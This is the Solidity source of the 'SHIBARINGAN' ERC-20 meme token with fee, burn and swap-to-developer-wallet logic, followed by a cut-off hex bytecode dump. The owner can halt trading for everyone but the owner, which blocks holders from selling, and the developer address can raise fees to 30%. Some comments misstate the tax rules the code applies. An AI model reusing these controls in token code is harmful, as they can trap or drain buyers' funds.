// d88P Y88b 888 888 888 888 "88b d88888 888 Y88b 888 8888b 888 d88P Y88b d88888 8888b 888
// Y88b. 888 888 888 888 .88P d88P888 888 888 888 88888b 888 888 888 d88P888 88888b 888
// "Y888b. 8888888888 888 8888888K. d88P 888 888 d88P 888 888Y88b 888 888 d88P 888 888Y88b 888
// "Y88b. 888 888 888 888 "Y88b d88P 888 8888888P" 888 888 Y88b888 888 88888 d88P 888 888 Y88b888
// "888 888 888 888 888 888 d88P 888 888 T88b 888 888 Y88888 888 888 d88P 888 888 Y88888
// Y88b d88P 888 888 888 888 d88P d8888888888 888 T88b 888 888 Y8888 Y88b d88P d8888888888 888 Y8888
// "Y8888P" 888 888 8888888 8888888P" d88P 888 888 T88b 8888888 888 Y888 "Y8888P88 d88P 888 888 Y888
// 01010011 01001000 01001001 01000010 01000001 01010010 01001001 01001110 01000111 01000001 01001110
//
// telegram: https://t.me/shibaringan
// website: https://shibaringan.com
// twitter: https://twitter.com/shibaringan
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBARINGAN is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SHIBARINGAN";
string private constant _symbol = "SHINGA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
// Jeets out Fee
uint256 private _redisFeeJeets = 5;
uint256 private _taxFeeJeets = 20;
// Buy Fee
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 11;
// Sell Fee
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 11;
// Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 1;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x86C7Da50bF7c39Dab20859c748E180eA100799a3);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 6 hours;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1e10 * 10**9; //1% - 10000000000
uint256 public _maxWalletSize = 3e10 * 10**9; //3%
uint256 public _swapTokensAtAmount = 1000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function developmentWallet() public view returns (address) {
return _developmentAddress;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
// Trade start check
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _developmentAddress && from != _developmentAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _developmentAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
// Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
// Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
// Set Fee for Sells
// TAX SELLERS 25% WHO SELL WITHIN 48 HOURS (13% development + 12% holders redistribution)
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
// Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external {
require(_msgSender() == _developmentAddress);
_swapTokensAtAmount = swapTokensAtAmount;
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount);
}
// Set trading on/off
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function manualsend() external {
require(_msgSender() == _developmentAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external {
require(_msgSender() == _developmentAddress);
require(maxTxAmount >= 1e9 * 10**9, "Maximum transaction amount must be greater than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external {
require(_msgSender() == _developmentAddress);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external {
require(_msgSender() == _developmentAddress);
require(amountBuy >= 0 && amountBuy <= 30);
require(amountSell >= 0 && amountSell <= 30);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external {
require(_msgSender() == _developmentAddress);
require(amountRedisJeets >= 0 && amountRedisJeets <= 30);
require(amountTaxJeets >= 0 && amountTaxJeets <= 30);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setBurnFee(uint256 amount) external {
require(_msgSender() == _developmentAddress);
require(amount >= 0 && amount <= 30);
_burnFee = amount;
}
function setTimeJeets(uint256 hoursTime) external {
require(_msgSender() == _developmentAddress);
require(hoursTime >= 0 && hoursTime <= 200);
timeJeets = hoursTime * 1 hours;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external {
require(_msgSender() == _developmentAddress);
require(amountRefBuy >= 0 && amountRefBuy <= 30);
require(amountRefSell >= 0 && amountRefSell <= 30);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
}
|
0x6080604052600436106101e75760003560e01c80637d1db4a511610102578063a9059cbb11610095578063e0f9f6a011610064578063e0f9f6a0146106c7578063ea1644d5146106f0578063f2fde38b14610719578063fe72c3c114610742576101ee565b8063a9059cbb146105f9578063c04a541414610636578063c552849014610661578063dd62ed3e1461068a576101ee565b80638f9a55c0116100d15780638f9a55c01461055157806395d89b411461057c57806398a5c315146105a75780639ec350ed146105d0576101ee565b80637d1db4a5146104a9578063881dce60146104d45780638da5cb5b146104fd5780638f70ccf714610528576101ee565b806338eea22d1161017a5780636fc3eaec116101495780636fc3eaec1461041557806370a082311461042c578063715018a61461046957806374010ece14610480576101ee565b806338eea22d1461036f57806349bd5a5e146103985780634bf2c7c9146103c35780636d8aa8f8146103ec576101ee565b806323b872dd116101b657806323b872dd146102b157806327c8f835146102ee5780632fd689e314610319578063313ce56714610344576101ee565b806306fdde03146101f3578063095ea7b31461021e5780631694505e1461025b57806318160ddd14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861076d565b60405161021591906132c9565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612e79565b6107aa565b6040516102529190613293565b60405180910390f35b34801561026757600080fd5b506102706107c8565b60405161027d91906132ae565b60405180910390f35b34801561029257600080fd5b5061029b6107ee565b6040516102a891906134cb565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612e26565b6107ff565b6040516102e59190613293565b60405180910390f35b3480156102fa57600080fd5b506103036108d8565b6040516103109190613278565b60405180910390f35b34801561032557600080fd5b5061032e6108de565b60405161033b91906134cb565b60405180910390f35b34801561035057600080fd5b506103596108e4565b6040516103669190613540565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f13565b6108ed565b005b3480156103a457600080fd5b506103ad610996565b6040516103ba9190613278565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190612ee6565b6109bc565b005b3480156103f857600080fd5b50610413600480360381019061040e9190612eb9565b610a42565b005b34801561042157600080fd5b5061042a610af4565b005b34801561043857600080fd5b50610453600480360381019061044e9190612d8c565b610b66565b60405161046091906134cb565b60405180910390f35b34801561047557600080fd5b5061047e610bb7565b005b34801561048c57600080fd5b506104a760048036038101906104a29190612ee6565b610d0a565b005b3480156104b557600080fd5b506104be610dc0565b6040516104cb91906134cb565b60405180910390f35b3480156104e057600080fd5b506104fb60048036038101906104f69190612ee6565b610dc6565b005b34801561050957600080fd5b50610512610e8a565b60405161051f9190613278565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190612eb9565b610eb3565b005b34801561055d57600080fd5b50610566610f65565b60405161057391906134cb565b60405180910390f35b34801561058857600080fd5b50610591610f6b565b60405161059e91906132c9565b60405180910390f35b3480156105b357600080fd5b506105ce60048036038101906105c99190612ee6565b610fa8565b005b3480156105dc57600080fd5b506105f760048036038101906105f29190612f13565b611013565b005b34801561060557600080fd5b50610620600480360381019061061b9190612e79565b6110bc565b60405161062d9190613293565b60405180910390f35b34801561064257600080fd5b5061064b6110da565b6040516106589190613278565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190612f13565b611104565b005b34801561069657600080fd5b506106b160048036038101906106ac9190612de6565b6111ad565b6040516106be91906134cb565b60405180910390f35b3480156106d357600080fd5b506106ee60048036038101906106e99190612ee6565b611234565b005b3480156106fc57600080fd5b5061071760048036038101906107129190612ee6565b6112c7565b005b34801561072557600080fd5b50610740600480360381019061073b9190612d8c565b611332565b005b34801561074e57600080fd5b506107576114f4565b60405161076491906134cb565b60405180910390f35b60606040518060400160405280600b81526020017f534849424152494e47414e000000000000000000000000000000000000000000815250905090565b60006107be6107b76114fa565b8484611502565b6001905092915050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600061080c8484846116cd565b6108cd846108186114fa565b6108c885604051806060016040528060288152602001613c9060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061087e6114fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122109092919063ffffffff16565b611502565b600190509392505050565b61dead81565b601c5481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661092e6114fa565b73ffffffffffffffffffffffffffffffffffffffff161461094e57600080fd5b600082101580156109605750601e8211155b61096957600080fd5b6000811015801561097b5750601e8111155b61098457600080fd5b81600b8190555080600d819055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109fd6114fa565b73ffffffffffffffffffffffffffffffffffffffff1614610a1d57600080fd5b60008110158015610a2f5750601e8111155b610a3857600080fd5b8060118190555050565b610a4a6114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ace9061340b565b60405180910390fd5b80601960166101000a81548160ff02191690831515021790555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b356114fa565b73ffffffffffffffffffffffffffffffffffffffff1614610b5557600080fd5b6000479050610b6381612274565b50565b6000610bb0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e0565b9050919050565b610bbf6114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c439061340b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d4b6114fa565b73ffffffffffffffffffffffffffffffffffffffff1614610d6b57600080fd5b670de0b6b3a7640000811015610db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dad906133cb565b60405180910390fd5b80601a8190555050565b601a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e076114fa565b73ffffffffffffffffffffffffffffffffffffffff1614610e2757600080fd5b610e3030610b66565b8111158015610e3f5750600081115b610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906134ab565b60405180910390fd5b610e878161234e565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ebb6114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f9061340b565b60405180910390fd5b80601960146101000a81548160ff02191690831515021790555050565b601b5481565b60606040518060400160405280600681526020017f5348494e47410000000000000000000000000000000000000000000000000000815250905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fe96114fa565b73ffffffffffffffffffffffffffffffffffffffff161461100957600080fd5b80601c8190555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110546114fa565b73ffffffffffffffffffffffffffffffffffffffff161461107457600080fd5b600082101580156110865750601e8211155b61108f57600080fd5b600081101580156110a15750601e8111155b6110aa57600080fd5b8160098190555080600a819055505050565b60006110d06110c96114fa565b84846116cd565b6001905092915050565b6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111456114fa565b73ffffffffffffffffffffffffffffffffffffffff161461116557600080fd5b600082101580156111775750601e8211155b61118057600080fd5b600081101580156111925750601e8111155b61119b57600080fd5b81600c8190555080600e819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112756114fa565b73ffffffffffffffffffffffffffffffffffffffff161461129557600080fd5b600081101580156112a7575060c88111155b6112b057600080fd5b610e10816112be9190613637565b60178190555050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113086114fa565b73ffffffffffffffffffffffffffffffffffffffff161461132857600080fd5b80601b8190555050565b61133a6114fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be9061340b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611437576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142e9061336b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60175481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611572576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115699061348b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d99061338b565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116c091906134cb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561173d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117349061344b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a4906132eb565b60405180910390fd5b600081116117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e79061342b565b60405180910390fd5b6117f8610e8a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118665750611836610e8a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1257601960149054906101000a900460ff166118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b19061330b565b60405180910390fd5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119655750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ad2573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156119d257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a2c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a865750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ad157601a54811115611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac79061334b565b60405180910390fd5b5b5b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611b7e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf0575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c4d57601b5481611c0284610b66565b611c0c91906135b0565b10611c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c439061346b565b60405180910390fd5b5b6000611c5830610b66565b90506000601c5482119050808015611c7d5750601960159054906101000a900460ff16155b8015611cd75750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cef5750601960169054906101000a900460ff165b8015611d455750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d9b5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0f576000806011541115611de057611dd46064611dc6601154866125d690919063ffffffff16565b61265190919063ffffffff16565b9050611ddf8161269b565b5b611df48184611def9190613691565b61234e565b60004790506000811115611e0c57611e0b47612274565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611eb95750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f6c5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f6b5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b